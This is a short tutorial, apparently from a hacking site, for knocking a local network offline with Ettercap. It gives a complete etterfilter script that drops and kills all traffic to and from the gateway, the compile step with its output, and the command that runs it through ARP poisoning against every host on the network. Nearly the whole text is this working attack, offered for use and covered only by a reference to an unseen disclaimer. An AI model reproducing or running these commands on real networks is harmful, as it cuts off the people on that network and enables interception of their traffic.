Note: I assume you already read the Disclaimer.

Requirements:

	Ettercap
	Gateway IP (for this example, will use 192.168.1.1)

Write the filter:

# vi DoS.eft

if (ip.src == '192.168.1.1' || ip.dst == '192.168.1.1') 
{
	drop();
	kill();
	msg("Packet killed\n");
}	

Compile the filter:

# etterfilter  DoS.eft -o DoS.ef

etterfilter NG-0.7.3 copyright 2001-2004 ALoR & NaGA


12 protocol tables loaded:
	DECODED DATA udp tcp gre icmp ip arp wifi fddi tr eth 

11 constants loaded:
	VRRP OSPF GRE UDP TCP ICMP6 ICMP PPTP PPPoE IP ARP 

Parsing source file 'DoS.eft'  done.

Unfolding the meta-tree  done.

Converting labels to real offsets  done.

Writing output to 'DoS.ef'  done.

-> Script encoded into 8 instructions.

Run the attack:

# ettercap -TqF DoS.ef -M ARP /192.168.1.1/ //